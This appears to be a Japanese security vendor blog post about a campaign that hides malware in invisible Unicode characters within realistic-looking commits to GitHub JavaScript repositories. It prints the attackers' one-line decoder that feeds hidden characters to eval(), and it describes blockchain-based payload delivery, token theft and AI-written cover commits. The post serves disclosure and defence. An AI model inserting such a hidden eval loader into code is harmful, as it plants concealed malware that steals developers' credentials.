つい最近、Open VSX上で侵害された拡張機能を発見したばかりだ。今、新たな攻撃の波が押し寄せており、あらゆる兆候が同じ脅威アクターを指し示している。
この手法は聞き覚えがあるだろう:目に見えないUnicodeプライベート使用領域(PUA)文字で注入された隠された悪意のあるコードだ。この手口を初めて確認したのは3月、npmパッケージがPUAを使ってペイロードを隠蔽した時だった。次に現れたのはOpen VSXだ。今や攻撃者はGitHubを標的に変え、手法を進化させている。攻撃の仕掛けはより巧妙に、よりステルスに、そしてはるかに欺瞞的になっている。
見えないコードキャンペーンのタイムライン
- 3月–Aikido Unicode文字を用いてペイロードを隠蔽する悪意のあるnpmパッケージをAikido 発見
- 5月– 目に見えないUnicodeのリスクと、サプライチェーン攻撃における悪用方法について詳細に解説したブログを公開します
- 10月17日– 同じ手法を用いて、Open VSX上で侵害された拡張機能を発見しました。
- 10月18日-Koi Securityがマルウェアとペイロードを分析し、これをGlasswormと命名
- 10月31日– 攻撃者がGitHubリポジトリに焦点を移していることが判明した
設計によるステルス性
この新たな波に最初に気づいたのは、ある開発者が奇妙な現象に気づいて連絡してきた時だった。彼のGitHubリポジトリのいくつかが更新されていたのだ。少なくともコミット履歴上は、彼自身による更新だった。コミットは正当に見えた。現実的な機能更新、小規模なリファクタリング、さらにはプロジェクトのコーディングスタイルやコミットメッセージに合致したバグ修正まで含まれていた。ただ一点、コミッターのメールアドレスが設定されていた点が異なっていた。 nullしかし、これらのコミットの末尾には、それぞれが単一の同一の追加項目を持っていた:
const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));
マルウェアを見つけられますか?一見すると何が起きているのか分かりにくいですが、目立つのは 評価 call は、動的にコードを実行するために頻繁に使用される。入力は 評価 空に見える。しかし、渡された空の文字列は d() で 評価 まったく空ではありません。目に見えないUnicode文字や、プライベートユースエリア記号でエンコードされた隠しコードが含まれています。これは以前のnpmやOpen VSXの事例と同様です。

しかし今回は、その手法がはるかに巧妙だ。すべてが一行に凝縮され、視覚的な手がかりはほとんど残されていない。悪意のあるコードは、一見すると通常のプロジェクト活動のように見えるものの中に潜み、正当なコミットの中に隠されている。
一見無害に見える変更は、コミットをより説得力のあるものにするためにAIによって生成された可能性がある。これらのコミットが非常にプロジェクト固有であったことから、攻撃者は大規模言語モデルを活用して現実的で文脈に応じたコード変更を作成し、AIを用いてペイロードを通常の開発活動の中に巧妙に偽装した可能性がある。
復号化されたPUA文字列は、Open VSXサンプルと非常に類似したスクリプトへとつながっており、これは同じ脅威アクターが関与している可能性を示唆している。 復号化されたスクリプトはSolanaを配信経路として利用し、ブロックチェーンからペイロードを取得・実行する仕組みのようだ。Open VSXインシデントから判断すると、これらのペイロードはトークンやその他の機密情報を窃取する能力を有していた。認証情報やCIトークンが収集された場合、それらは他のリポジトリへ同一ペイロードを押し込むために再利用され、過去の攻撃で確認されたようなワーム型拡散を可能にする恐れがある。
大規模な攻撃の兆候
悪意のあるパターンを特定した後、同じペイロードが他の場所にも出現していないか調査を開始した。GitHubでそのパターンを素早く検索したところ、同じ不審な行を含む他のリポジトリがすぐに判明した。

これらのプロジェクトでは、一見すると完全に正当に見える新しいコミットがプッシュされていた。コミット内容はドキュメントの更新、バージョンアップ、小さなコード改善といった通常の変更を含んでいたが、それぞれにファイルの末尾に同じ隠されたペイロードが付加されていた。
現時点では、この攻撃キャンペーンはGitHubでホストされているJavaScriptプロジェクトに限定されているようです。npmやその他のエコシステムにおいて同様の侵害の兆候は確認されていませんが、同じ攻撃者が攻撃範囲を拡大しようとする可能性があるため、注意深く監視を続けています。
進化する脅威、より賢い防御策
これらの事象は、Unicodeの誤用、特に不可視のプライベート使用領域(PUA)文字の危険性に対する認識向上が必要であることを浮き彫りにしている。開発者は目に見えるものに対してのみ防御策を講じられるが、現状では大半のツールがそれらを十分に表示していない。GitHubのウェブインターフェースもVS Codeも、異常を示す兆候を一切表示しなかった。過去の事例(Open VSX攻撃など)では、一部のIDEが隠された文字の横に微妙なインジケーターを表示していたが、今回のケースではそうした安全対策が欠如していた。
この手法自体は目新しいものではないが、明らかに進化を遂げている。かつての脅威であるシャイ・フルードは悪意のあるポストインストールスクリプトを単純に注入するだけだったため、比較的容易に検知できた。しかし現在、攻撃者はAIの支援を得て、悪意のあるコードを現実的なコミットやプロジェクト固有の改善点と巧妙に混ぜ合わせ、変更内容を自然に見せかけている。これは脅威の動向が向かう先を示す兆候である。
Aikido、私たちは同じ進化に適応しています。検出システムの一つとして大規模言語モデルを活用し、ますます巧妙化する脅威を検知しています。攻撃者がAIを用いて意図を隠蔽するにつれ、防御側も同様に知能を高め、その意図を暴く必要があります。
今すぐソフトウェアを保護しましょう


.avif)
